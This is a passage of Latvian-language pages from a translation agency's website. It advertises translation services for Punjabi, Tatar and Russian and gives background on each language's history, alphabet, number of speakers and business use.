tradīcijām. Tulkošanas birojs Skrivanek visbiežāk veic šādus tulkojumus no/uz pandžabu valodu – juridiska satura tulkojumus, personu, izglītību, dzīves vietu apliecinošu dokumentu utt. tulkojumus. Pateicoties strauji augošai ekonomiskai sadarbībai starp Latviju un Pakistānu, veicam arī tulkojumus šādās jomās ─ iekārtas un tehnoloģijas, loģistika, medicīna, komunikācijas, sabiedriskās attiecības, datoru aparatūra un programmatūra, zinātne, lauksaimniecība, tehnoloģiju tulkojumi. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. Tiek veikti arī mutiskie tulkojumi biznesa, kultūras un medicīnas jomās. PANDŽABU VALODA BIZNESĀ Ņemot vērā, ka pasaulē pandžabu valoda ir dzimtā valoda aptuveni 122 miljoniem cilvēku, tā ir desmitā visvairāk runātā valoda pasaulē. Līdz ar to pandžabu valoda mūsdienu darījumu pasaulē ir būtiska un dinamiska valoda. Galvenā pandžabu valodas problēma ir Rietumu kultūru attieksme pret visu, kas nāk no Indijas subkontinenta. Vienkārši pastāv attieksme, ka šīs pasaules vietas ir bezcerīgi atpalikušas, tāpēc kā tāda valoda kā pandžabu varētu konkurēt ar angļu valodu? Un tomēr tā konkurē gan ar korejiešu, vācu un pat franču valodu. Pandžabu valoda ir visplašāk runātā indoāriešu valoda. Tā ir kļuvusi populāra literatūrā, akadēmiskajās aprindās, mārketingā un reklāmās, mūzikā, izdevniecībās, sportā, kino un daudzās citās jomās. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM PANDŽABU VALODĀ: dažādu dokumentu tulkošana pandžabu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana pandžabu valodā; pandžabu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi pandžabu valodā; individuālie pandžabu valodas kursi. PANDŽABU VALODAS KOMBINĀCIJAS: pandžabu–latviešu; latviešu–pandžabu; pandžabu–lietuviešu; lietuviešu–pandžabu; igauņu–pandžabu; pandžabu–igauņu; angļu–pandžabu; pandžabu–angļu; krievu–pandžabu; pandžabu–krievu; poļu–pandžabu; pandžabu–poļu; ukraiņu–pandžabu; pandžabu–ukraiņu; čehu–pandžabu; pandžabu–čehu; vācu–pandžabu; pandžabu–vācu; spāņu–pandžabu; pandžabu–spāņu; franču–pandžabu; pandžabu–franču; itāļu–pandžabu; pandžabu–itāļu; dāņu–pandžabu; pandžabu–dāņu; zviedru–pandžabu; pandžabu–zviedru; norvēģu–pandžabu; pandžabu–norvēģu; somu–pandžabu; pandžabu–somu; pandžabu–arābu; arābu–pandžabu; pandžabu–armēņu, armēņu–pandžabu; pandžabu–baltkrievu, baltkrievu–pandžabu; bulgāru–pandžabu, pandžabu–bulgāru; pandžabu–ebreju, ebreju–pandžabu, pandžabu–grieķu, grieķu–pandžabu; pandžabu–gruzīnu; gruzīnu–pandžabu; pandžabu–hindi; hindi–pandžabu; pandžabu–holandiešu; holandiešu–pandžabu; pandžabu–korejiešu; korejiešu–pandžabu; pandžabu–kurdu; kurdu–pandžabu; pandžabu–ķīniešu; ķīniešu–pandžabu; pandžabu–portugāļu; portugāļu–pandžabu; pandžabu–rumāņu; rumāņu–pandžabu; pandžabu–slovāku; slovāku–pandžabu; pandžabu–slovēņu; slovēņu–pandžabu; pandžabu–turku; turku–pandžabu; pandžabu–ukraiņu; ukraiņu–pandžabu; pandžabu–ungāru; ungāru–pandžabu u. c. --- > Interesanti fakti par tatāru valodu un Tatarstānas Republiku. Tulkošanas biroja Skrivanek valodu paklpojumi tatāru valodā. Ieskaties! - Published: 2022-10-10 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-tataru-valoda/ - Translation Priorities: Optional TULKOJUMI TATĀRU VALODĀ / TULKOT TATĀRU VALODĀ CIK MAKSĀ TULKOŠANA TATĀRU VALODĀ? Katram tulkošanas projekta pasūtījumam, jo īpaši, ja runa ir par Latvijā salīdzinoši retu valodu, cena tiek noteikta individuāli. Pakalpojuma cenu tatāru valodā veido vairākas svarīgas komponentes – tulkojuma izpildes termiņi, teksta specifika, koriģēšana, formatēšana, kā arī klienta pasūtītie papildu pakalpojumi (notariāls apliecinājums, apostille u. c. ). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu un citu pakalpojumu cenrādis no/uz tatāru valodu ir neatņemama mūsu sadarbības līguma daļa. Klients vienmēr tiek informēts par tulkojuma cenu pirms projekta realizācijas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu oriģināltekstā, teksta atkārtošanos un citiem svarīgiem kritērijiem. Lai saņemtu tieši jums sagatavotu bezmaksas piedāvājumu, sazinieties ar mums! RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TATĀRU VALODĀ: dažādu dokumentu tulkošana tatāru valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana tatāru valodā; tatāru valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi tatāru valodā; individuālie tatāru valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus tatāru valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI TATĀRU VALODĀ / TULKOT TATĀRU VALODĀ CIK MAKSĀ TULKOŠANA TATĀRU VALODĀ? Katram tulkošanas projekta pasūtījumam, jo īpaši, ja runa ir par Latvijā salīdzinoši retu valodu, cena tiek noteikta individuāli. Pakalpojuma cenu tatāru valodā veido vairākas svarīgas komponentes – tulkojuma izpildes termiņi, teksta specifika, koriģēšana, formatēšana, kā arī klienta pasūtītie papildu pakalpojumi (notariāls apliecinājums, apostille u. c. ). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu un citu pakalpojumu cenrādis no/uz tatāru valodu ir neatņemama mūsu sadarbības līguma daļa. Klients vienmēr tiek informēts par tulkojuma cenu pirms projekta realizācijas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu oriģināltekstā, teksta atkārtošanos un citiem svarīgiem kritērijiem. Lai saņemtu tieši jums sagatavotu bezmaksas piedāvājumu, sazinieties ar mums! RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TATĀRU VALODĀ: dažādu dokumentu tulkošana tatāru valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana tatāru valodā; tatāru valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi tatāru valodā; individuālie tatāru valodas kursi. Meklējiet valodu risinājumus tatāru valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TATĀRU VALODA Tatāru valoda pieder pie altajiešu valodu saimes tjurku valodas atzara un ir viena no Tatarstānas Republikas valsts valodām. Visradniecīgākā valoda tatāru valodai ir baškīru valoda. Svarīgi ņemt vērā, ka Krimas tatāri nerunā tatāru valodā, bet gan paši savā Krimas tatāru valodā. Ir vairākas teorijas par Tatarstānas tatāru izcelsmi, kas joprojām ir zinātnisku diskusiju pamatā. Saskaņā ar vienu no teorijām, Volgas reģiona tatāri ir tiešie Zelta ordas tatāru pēcteči. Citas teorijas piekritēji uzskata, ka šo tatāru priekšteči bija Volgas Bulgārijas bulgāru pēcteči, jo, kā zināms, senbulgāru zemes atradās Volgas un Kamas satecē, kā arī Kamas upes baseinā. Vēl kāda teorija apgalvo, ka tatāri ir turku tauta, kuru arābu iebrucēji bija izspieduši no Azovas stepēm un, kuri 8. gadsimtā apmetās Volgas vidusdaļā un 922. gadā pieņēma islāmu. 1917. gadā tatāru valoda kļuva par oficiālo Tatarstānas Republikas valodu. Tajā laikā PSRS neatzina citas oficiālās valodas, izņemot krievu valodu. Tomēr Staļina laika intensīvās tautu rusifikācijas kampaņas rezultātā tatāru valodas lietošana strauji samazinājās. Valodu mācīja tikai lauku skolās, savukārt visa augstākā izglītība tika iegūta krievu valodā. Mūsdienās tatāru valoda ir Tatarstānas Republikas oficiālā valoda kopā ar krievu valodu. Lielākā daļa tatāru runā tatāru un krievu valodā. Taču arī mūsdienās tatāru valoda tiek vērtēta zemāk nekā krievu valoda. Augstākā izglītība tatāru valodā tiek piedāvāta Tatarstānas universitātēs, bet arī ne visās fakultātēs. Ārpus Tatarstānas tatāri mēdz lietot krievu valodu kā savu pirmo valodu. Tas jo īpaši attiecas uz tatāriem, kuri dzīvo lielajās pilsētās. No otras puses, tatāru valoda ir vienīgā valoda, ko lieto Tatarstānas lauku rajonos. Tatāru valodai ir raksturīga dialektu bagātība, jo ar tatāru diasporu saistītā vēsture ir sarežģīta. Tiek izšķirti trīs galvenie tatāru valodas dialekti. Tos var sīkāk iedalīt atbilstoši ģeogrāfiskajiem apgabaliem, kuros tie tiek runāti. Atšķirības starp dialektiem galvenokārt ir fonoloģiskas. Lielākoties dialekti ir savstarpēji saprotami. Vidustatāru jeb Kazaņas tatāru dialekts – šo dialektu lieto lielākajā daļā Tatarstānas Republikas un arī Kazaņā. Tā galvenā atšķirība ir bulgāru valodas elementi. Vidustatāru jeb Kazaņas dialekts ir tatāru literārās valodas pamatā. Rietumtatāru dialekts (Mişär), izplatīts Krievijā atsevišķos reģionos – Penzā, Uļjanovskā, Nižņijnovgorodā, Samarā, Volgogradā u. c. Šajā dialektā runā arī tatāru minoritātes Somijā, kur tā ir atzīta par oficiālu minoritāšu valodu. Austrumtatāru dialekts, raksturīgs Sibīrijas tatāriem. INTERESANTI FAKTI PAR TATARSTĀNAS REPUBLIKU UN TATĀRU VALODU Tatarstānas Republikā dzīvo vairāk nekā 173 tautību cilvēki. Tūkstošiem studentu no ārvalstīm ierodas studēt Tatarstānas universitātēs. Kazaņa ir pazīstama kā sena universitātes pilsēta un tatāru kultūras centrs, šeit atrodas vairākas starptautiskās augstskolas, kas iesaistās studentu apmaiņas programmās ar Eiropas un Āzijas universitātēm. Pasaulē pirmā iespiestā grāmata tatāru valodā tika izdota Vācijā 1962. gadā. Kazaņā ir savs Kazaņas Kremlis, kas ir vienīgais neskartais tatāru cietoksnis Krievijā un tas ir iekļauts UNESCO Pasaules mantojuma sarakstā. Kremļa teritorija mūsdienās ir kļuvusi par tatāru-musulmaņu faktiski lielāko islāma garīgo centru Krievijas teritorijā. Tatarstānas Republikā uzraksti uz ielu plāksnītēm ir krievu un tatāru valodā, lai gan ielās diemžēl pārsvarā dzird runājam krievu valodu. Atšķirt krievus no tatāriem ir pavisam grūti – vienīgi pēc vārdiem un uzvārdiem. Sākotnēji jēdziens “tatāri” tika lietots, lai apzīmētu ikvienu, kas cēlies no plašā Centrālāzijas un Ziemeļāzijas reģiona. TATĀRU VALODAS ALFABĒTS Tatāru valodas pierakstam vēsturiski tika izmantots gan arābu un latīņu alfabēts, gan arī kirilica. Mūsdienās tatāru valodas rakstos lieto divus alfabētus – kirilicu un latīņu alfabēta modificētu versiju. Līdz 1928. gadam tatāru valoda tika pierakstīta, izmantojot alfabētu, kura pamatā bija arābu alfabēts: daži burti tika aizgūti no persiešu alfabēta. Taču arābu rakstības lietojums tatāru valodā bija saistīts ar pretpadomju nostāju. Līdz ar to no 1927. līdz 1939. gadam tika lietota latīņu alfabēta modificēta versija. 1939. gadā Staļina rusifikācijas kampaņas ietvaros Tatarstānas Republikā tika ieviests kirilicas alfabēts, kuru joprojām lieto tatāru valodas pierakstam. Tatarstānas Republikā izmantotajā tatāru valodas alfabēta oficiālajā kirilicā ir 39 burti: А, Ә, Б, В, Г, Д, Е, (Ё), Ж, Җ, З, И, Й, К, Л, М, Н, Ң, О, Ө, П, Р, С, Т, У, Ү, Ф, Х, Һ, Ц, Ы, Ь, Х, Һ, Ц, ЫЬ, Ш, Щ. 1999. gadā Tatarstānas Republika pieņēma likumu par oficiālā tatāru valodas latīņu alfabēta izveidošanu. Vairākkārtēji Krievijas Federācija šo likumu noraidīja, taču 2012. gadā Tatarstānas Republikas valdība apstiprināja jauno latīņu alfabēta versiju, kura lietošanā gan ir zināmi ierobežojumi. Kopš 2012. gada cilvēki un organizācijas var iesniegt dokumentus Tatarstānas Republikas valdībai vai nu latīņu, vai arābu rakstībā, taču valdība sniedz atbildes tikai kirilicas rakstībā. Tatāru mūsdienu latīņu alfabētā ir 34 burti ─ 10 patskaņi un 24 līdzskaņi: A, Ä, B, C, Ç, D, E, F, G, Ğ, H, I, İ, J, K, L, M, N, Ñ, O, Ö, P, Q, R, S, Ş, T, U, Ü, V, W, X, Y, Z. CIK SAREŽĢĪTA IR TATĀRU VALODA? Tatāru valoda tiek uzskatīta par vienu no visskaistākajām un skanīgākajām valodām pasaulē, taču tā tiek uzskatīta par vienu no grūti apgūstamajām valodām – tajā ir liels skaits darbības vārdu formu, kas izsaka gan darbības gaitu, gan tās intensitāti, gan arī pabeigtības pakāpi utt. Tatāru valoda ir bagāta ar aizguvumiem no arābu, persiešu un krievu valodas. Vēlaties uzzināt vairāk par tatāru valodu un kultūru ─ Skrivanek mācību centra kolēģi priecāsies palīdzēt! KUR UN CIK DAUDZ RUNĀ TATĀRU VALODĀ? Tatāru valodā runā tatāri Tatarstānas Republikā un Sibīrijā. Krievijā tatāru valodā runā aptuveni 5,3 miljoni iedzīvotāju. Citviet pasaulē tatāru valodā runājošas kopienas mīt Ukrainā, Ķīnā, Somijā, Turcijā, Uzbekistānā, ASV, Rumānijā, Azerbaidžānā, Izraēlā, Kazahstānā, Gruzijā, Lietuvā, arī Latvijā un citās valstīs. Kopumā pasaulē ir vairāk nekā 7 miljoni tatāru valodas runātāju. TATĀRU VALODAS TULKS UN TULKOTĀJS Tulkošanas birojs Skrivanek nodrošina profesionālus rakstiskos un mutiskos tulkojumus gan uz, gan no tatāru valodas. Tulkošanu veic tulki ar ilggadēju darba pieredzi un profesionālām zināšanām par jomu, kurā ir jāveic tulkojums. Skrivanek vairāk nekā 25 gadu pieredze tulkošanā garantē tulkojuma atbilstību tulkošanas kvalitātes standartiem. Par teksta stilistisko uzlabošanu un korektūru parūpēsies mūsu korektori, kuriem tatāru valoda ir dzimtā. Tulku komanda jums palīdzēs gan ar regulāriem, gan notariāli apstiprinātiem tulkojumiem. Tāpat juridiskām un fiziskām personām piedāvājam mutiskos tulkojumus tiesas sēdēs, kā arī darījumu sarunās. Veicam tehniskās dokumentācijas, mājaslapu tulkojumus, līgumu un e-komercijas satura tulkojumus no/uz tatāru valodu. Jebkurai klienta vēlmei mēs noteikti atradīsim pašu labāko risinājumu un valodas speciālistu komandu. Fiziskām personām palīdzam ar personu apliecinošu dokumentu tulkojumiem, laulību apliecību, izglītības dokumentu u. c. civiltiesisko dokumentu rakstveida un notariāli apliecinātiem tulkojumiem, kā arī palīdzam legalizēt ārvalstīs izdotus dokumentus. TATĀRU VALODA BIZNESĀ Tatāru valoda biznesa vidē tiek lietota paralēli krievu valodai. Ārpus Tatarstānas Republikas kā darījuma valodai tatāru valodai nav būtiskas lomas. Uzņēmēji lielākoties komunicē krievu valodā. Protams, tatāru valodai kā jebkurai pasaules valodai ir sava vēsture, loma un vērtība, tādēļ, lai piesaistītu tatāru valodā runājošu klientu, būtu vēlams lokalizēt uzņēmuma tīmekļa vietni vai e-veikalu tatāru valodā. Savukārt ikdienas saziņā ar tatāru valodā runājošu biznesa partneri, kaut dažu pieklājības frāžu zināšana būs liels solis pretī veiksmīgākai biznesa sadarbībai. TATĀRU VALODAS DIENA Tatāru valodas diena, kas tiek saukta arī par dzimtās valodas dienu, Tatarstānas Republikā (Krievijas Federācijā) katru gadu tiek svinēta 26. aprīlī. Šajā datumā tiek pieminēta arī slavenā tatāru dzejnieka, tulkotāja, kritiķa un publicista Gabdullas Tukaja dzimšanas diena. Tukajs tiek uzskatīts par mūsdienu tatāru literārās valodas un literatūras pamatlicēju, vienu no tatāru valodas klasiķiem. Tatāru valodas dienas ietvaros Tatarstānas Republikā notiek daudzi pasākumi ─ ziedu nolikšanas ceremonija pie Gabdullas Tukaja pieminekļa Kazaņā, kam seko tradicionālie dzejas lasījumi, Gabdullas Tukaja balvas pasniegšanas ceremonija, dzejas maratoni, koncerti, izstādes, un publiskas lekcijas visiem interesentiem. Īpaši pasākumi notiek ciematiņā, kur Tukajs dzīvoja laikā no 1892. līdz 1895. gadam. Tos rīko Gabdullas Tukaja muzejs. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM TATĀRU VALODĀ: dažādu dokumentu tulkošana tatāru valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana tatāru valodā; tatāru valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi tatāru valodā; individuālie tatāru valodas kursi. TATĀRU VALODAS KOMBINĀCIJAS: tatāru–latviešu; latviešu–tatāru; tatāru–lietuviešu; lietuviešu–tatāru; igauņu–tatāru; tatāru–igauņu; angļu–tatāru; tatāru–angļu; krievu–tatāru; tatāru–krievu; poļu–tatāru; tatāru–poļu; ukraiņu–tatāru; tatāru–ukraiņu; čehu–tatāru; tatāru–čehu; vācu–tatāru; tatāru–vācu; spāņu–tatāru; tatāru–spāņu; franču–tatāru; tatāru–franču; itāļu–tatāru; tatāru–itāļu; dāņu–tatāru; tatāru–dāņu; zviedru–tatāru; tatāru–zviedru; norvēģu–tatāru; tatāru–norvēģu; somu–tatāru; tatāru–somu; tatāru–arābu; arābu–tatāru; tatāru–armēņu, armēņu–tatāru; tatāru–baltkrievu, baltkrievu–tatāru; bulgāru–tatāru, tatāru–bulgāru; tatāru–ebreju, ebreju–tatāru, tatāru–grieķu, grieķu–tatāru; tatāru–gruzīnu; gruzīnu–tatāru; tatāru–hindi; hindi–tatāru; tatāru–holandiešu; holandiešu–tatāru; tatāru–korejiešu; korejiešu–tatāru; tatāru–kurdu; kurdu–tatāru; tatāru–ķīniešu; ķīniešu–tatāru; tatāru–portugāļu; portugāļu–tatāru; tatāru–rumāņu; rumāņu–tatāru; tatāru–slovāku; slovāku–tatāru; tatāru–slovēņu; slovēņu–tatāru; tatāru–turku; turku–tatāru; tatāru–ukraiņu; ukraiņu–tatāru; tatāru–ungāru; ungāru–tatāru u. c. --- > Krievu valoda – tās attīstība un vēsture, nozīme Latvijā un biznesa vidē. Ieskaties! Krievu valodas apguve, tulkošana, valodu pakalpojumi. - Published: 2022-10-04 - Modified: 2024-12-02 - URL: https://skrivanek.lv/krievu-valoda/ - Translation Priorities: Optional KRIEVU VALODA FAKTOS Neraugoties uz krievu valodas kā ārkārtīgi grūti apgūstamas valodas reputāciju, tiem, kuri to iepazīst un apgūst, ieguvums savā izaugsmē var būt milzīgs. Krievvalodīgo mākslas un literatūras pasaulei pieder daudz bagātību – izcili dzejnieki, rakstnieki, teātris, balets, muzeji. Neko nevar salīdzināt ar krievu darbu lasīšanu oriģinālā ─ Antons Čehovs, Ivans Buņins, Fjodors Dostojevskis, Aleksandrs Puškins, Anna Ahmatova un citi. Maskavā un Sanktpēterburgā regulāri tiek rīkotas slavenas mākslas darbu izstādes, modes skates, teātra un baleta izrādes. Krievu literārā valoda ir ļoti emocionāla, skanīga un skaista valoda. Kaut arī krievu valodas vārdu krājums ir uz pusi mazāks nekā angļu valodai, ir tik daudz vārdu kombināciju, virknējumu, vārdu ar vairākām nozīmēm, kas padara valodu par vienu no bagātākajām valodām pasaulē. Krievu valodā ir vairāk zilās krāsas toņu apzīmējumu nekā lielākajā daļā citu valodu. Gaiši zilo toņu apzīmēšanai tiek lietots vārds ─ голубой, bet tumšajiem toņiem ─ синий. Šie vārdi tiek kombinēti ar citiem vārdiem, radot zilajai krāsai neiedomājamas nokrāsas. Līdzīgi kā daudzās pasaules valodās, krievu valodā uzsvara lietojums vārdā var radikāli mainīt tā nozīmi. Teikumā я плачу liekot uzsvaru uz darbības vārda otro zilbi, nozīme būs ‘es maksāju’, savukārt я плáчу, kur tiek uzsvērta darbības vārda pirmā zilbe, nozīme būs ‘es raudu’. Ja ir vēlme kļūt par astronautu, ir jāmācās krievu valoda. Šīs valodas apguve ir iekļauta astronautu apmācībās, jo Starptautiskās kosmosa stacijas datorsistēmā tiek izmantota gan krievu, gan angļu valoda. Bet kāpēc mācīties krievu valodu? Astronauti, kuri tiek iekļauti kosmosa kuģa apkalpē, kas startē no Krievijas, visticamāk ar kosmosa kuģa vadības ierīcēm spēs strādāt tikai krievu valodā. ASV ir daudzvalodu valsts, un daudzos ASV štatos ir diezgan daudz krievvalodīgo iedzīvotāju. Gandrīz 900 000 cilvēku 47 ASV štatos runā krieviski. Štati, kuros ir visvairāk krievvalodīgo, ir Ņujorka, Kalifornija, Vašingtona, Ilinoisa, Ņūdžersija, Pensilvānija un Florida. Krievu joki bieži atspoguļo ikdienas dzīves realitāti. Tie ir ļoti sarkastiski, krievu tautības cilvēkiem patīk jokot par sevi un savu tautu. Sarkanā laukuma nosaukumam Кра́сная пло́щадь nav nekāda sakara ar komunismu, bet tas ir cēlies no vārda sarkans (krievu: кра́сный), kam kādreiz bija nozīme ‘skaisti’. Vārds degvīns (krievu: во́дка) cēlies no vārda во́дa, kas nozīmē ‘ūdens’. Vārds спаси́бо ( krievu: paldies) sākotnēji bija спаси бог, burtiski tulkojot ─ ‘pasargā dievs’. Krievu valoda ir bagātāko literāro valodu sarakstā. Tas nav nekāds pārsteigums, ka daudzi izvēlas apgūt krievu valodu tieši tādēļ, lai varētu lasīt krievu daiļliteratūru oriģinālvalodā. Jo sajust īsto Bulgakovu, Dostojevski, Čehovu un izprast vēstījumu viņu darbos var tikai, izlasot tos krievu valodā. Latvijā dzīvojuši arī vairāki slaveni krievu inteliģences pārstāvji – Mihails Barišņikovs, Aleksandra Beļcova, Mihails Čehovs, Ivans Krilovs, Vera Mihina, Valentīns Pikulis un citi. KRIEVU VALODAS ALFABĒTS Rakstībai krievu valodā tiek lietots uz kirilicu balstīts alfabēts. Mūsdienu krievu valodas alfabēts ir vienkāršota kirilicas modifikācija. Kirilica ir veidota uz Bizantijas grieķu alfabēta pamata, tam pievienojot burtus slāvu valodām specifisku fonēmu attēlošanai. Krievijā kirilica ienāca ne vēlāk kā 10. gadsimta sākumā un plaši izplatījās līdz ar kristietības ieviešanu. Laikā no 10. līdz 18. gadsimtam kirilicas pieraksta tips vairākkārt mainījās. Kopš 18. gadsimta kirilisko alfabētu izmanto tikai reliģiozās literatūras vajadzībām, savukārt pārējās dzīves jomās kalpo vienkāršota rakstība, ko 1708. gadā ieviesa Pēteris I. Turpmāk valodas grafiskais atainojums un ortogrāfija piedzīvoja vairākas pārmaiņas. Nozīmīgākās no tām tika pieņemtas 1918. gada reformas ietvaros. Šobrīd visaptveroši izmanto 1918. gadā pieņemto grafiku un ortogrāfiju. Tikai neliela daļa ārvalstīs krievu valodā iznākošo izdevumu saglabā vecā stila ortogrāfiju. Krievu valodas alfabētā ir 33 burti: а, б, в, г, д, е, ё, ж, з, и, й, к, л, м, н, о, п, р, с, т, у, ф, х, ц, ч, ш, щ, ъ, ы, ь, э, ю, я. Tiek izdalīti gan lielie, gan mazie burti, rakstība ir no kreisās uz labo pusi. Vairāk par krievu valodas alfabētu lasiet šeit. CIK SAREŽĢĪTA IR KRIEVU VALODA? Lai gan krievu valoda ir viena no visgrūtāk apgūstamajām valodām, mūsdienās šo valodu apgūst arvien vairāk cilvēku. Daudzas organizācijas pasaulē, tostarp kosmosa izpētes, zinātnes un tehnoloģiju un globālā biznesa organizācijas kā vienu no darba un personāla valodām lieto krievu valodu, jo šī valoda joprojām ir viena no runātākajām un izplatītākajām valodām pasaulē. Tādēļ krievu valodas apguve ir ļoti vērtīga un tiks augsti novērtēta gan uzņēmējdarbībā, gan izglītības jomā un zinātnē. Krievu valoda tiek definēta kā 3. kategorijas valoda, tas padara to tikpat sarežģītu kā japāņu, ungāru, poļu un čehu valodu. Būs nepieciešamas vismaz 1100 mācību stundas, lai brīvi varētu sarunāties krievu valodā, bet lai sauktu krievu valodu par savējo, lai caur valodu izprastu krievu tautu, vēsturi un kultūru, būs vajadzīgi daudzi gadi prakses – runāšanas, klausīšanās, lasīšanas un ikdienas krievu valodā runājošo sabiedrībā. KUR UN CIK DAUDZ RUNĀ KRIEVU VALODĀ? Krievu valodā runā aptuveni 300─350 miljoni cilvēku, no kuriem aptuveni 119 miljoni dzīvo Krievijas Federācijā, savukārt aptuveni 166 miljoni cilvēku – citur pasaulē. Turklāt no tiem uz krievu valodu kā otro valodu norāda aptuveni 20 miljoni cilvēku Krievijā un vairāk nekā 110 miljoni cilvēku pārējā pasaulē. Dzimtā valoda tā ir aptuveni 164 miljoniem cilvēku visā pasaulē. Tā ir viena no pasaulē biežāk lietotajām valodām un izplatītākā starp slāvu valodām. Ievērojams krievu valodas lietotāju skaits mīt Izraēlā, Latvijā, Lietuvā, Moldovā, Ukrainā, Baltkrievijā, Vidusāzijā, ASV, Ķīnā un Mongolijā un krievu diasporā citviet pasaulē. Būdama oficiālā valsts valoda, Krievijas Federācijas teritorijā tā funkcionē visās politiskās, ekonomiskās, sociālās un kultūras dzīves jomās. Krievu valoda ir arī viena no Baltkrievijas, Kazahstānas, Kirgīzijas un Turkmenistānas oficiālajām valodām, kā arī kalpo par starptautiskās saziņas līdzekli lielākajā daļā bijušo Padomju Sociālistisko Republiku Savienības valstu. Krievu valoda ir arī viena no sešām darba valodām Apvienoto Nāciju Organizācijā un Apvienoto Nāciju Izglītības, zinātnes un kultūras organizācijā, ir darba valoda Neatkarīgo Valstu sadraudzībā un Starptautiskajā Atomenerģijas aģentūrā. KRIEVU VALODA BIZNESĀ Krievijas klienti ir ievērojama daļa no starptautiskā tirgus, un daudzi uzņēmumi visā pasaulē cenšas pievērst viņu uzmanību. Nav noslēpums, ka daudzi krievi nerunā ne angliski, ne kādā citā svešvalodā, it īpaši ārpus lielajām pilsētām, piemēram, Maskavas un Sanktpēterburgas. Tikai aptuveni 3% iedzīvotāju brīvi pārvalda angļu valodu. Krievu valoda ir ne tikai politikas, kosmosa, bet arī ekonomikas valoda. Tai ir milzīgs runātāju skaits visā pasaulē, krievu valoda ir viena no populārākajām e-komercijas un tiešsaistes biznesa valodām pasaulē un tas nozīmē, ka tiešsaistes biznesa iespējas ir neierobežotas. Krievvalodīgie biznesa partneri noteikti novērtēs jūsu valodas zināšanas. Zināms, ka Krievija ir viena no lielākajām dabas resursu un izejvielu ražotājām, taču izaugsme vērojama arī citās ekonomikas nozarēs. Zinātne, tehnoloģija, izglītība, mazumtirdzniecība, banku sektors, nekustamais īpašums – daudzas no šīm jomām sadarbojas ar ārvalstu uzņēmumiem un speciālistiem. Krievu valodai ir būtiska nozīme Latvijas uzņēmējdarbībā un sociālajā vidē, jo tā ir dzimtā valoda otrai lielākajai etniskajai grupai Latvijā, turklāt runājošo skaita ziņā tā ierindojas ceturtajā vietā pasaulē ar aptuveni 255–280 miljoniem cilvēku, kas prot krievu valodu. Ja vēlies savu profesionālo darbību saistīt ar krievvalodīgo vidi vai arī mērķis ir iepazīt krievu bagātīgo kultūras mantojumu, krievu valoda lieti noderēs visdažādākajās situācijās. Tātad krievu valodai kā biznesa 